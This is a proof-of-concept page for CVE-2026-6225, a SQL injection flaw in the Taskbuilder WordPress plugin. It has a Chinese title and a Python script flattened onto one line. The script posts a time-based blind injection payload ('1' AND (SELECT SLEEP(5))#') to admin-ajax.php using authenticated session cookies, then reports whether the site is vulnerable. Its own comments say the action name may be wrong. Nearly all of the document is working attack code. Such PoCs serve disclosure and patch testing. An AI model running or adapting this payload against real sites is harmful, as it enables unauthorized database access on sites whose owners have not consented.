CVE-2026-6225 Taskbuilder插件SQL注入漏洞

# PoC for CVE-2026-6225 (Time-based Blind SQL Injection) import requests import time def check_sqli(url, cookies): # The vulnerable parameter is 'project_search' # Endpoint might be admin-ajax.php or specific plugin page target_endpoint = url + "/wp-admin/admin-ajax.php" # Payload for time-based blind SQL injection # Adjust the sleep time if network latency is high payload = "1' AND (SELECT SLEEP(5))#" data = { "action": "taskbuilder_project_search", # Action name might vary, check plugin source "project_search": payload } try: start_time = time.time() response = requests.post(target_endpoint, data=data, cookies=cookies, timeout=10) end_time = time.time() # If response takes longer than sleep time, it indicates vulnerability if end_time - start_time >= 5: print("[+] Vulnerability confirmed: Time delay detected.") else: print("[-] Vulnerability not detected or patch applied.") except Exception as e: print(f"Error: {e}") # Usage: Replace with valid target URL and authenticated cookies target_url = "http://example.com" auth_cookies = {"wordpress_logged_in_...": "session_cookie_here"} check_sqli(target_url, auth_cookies)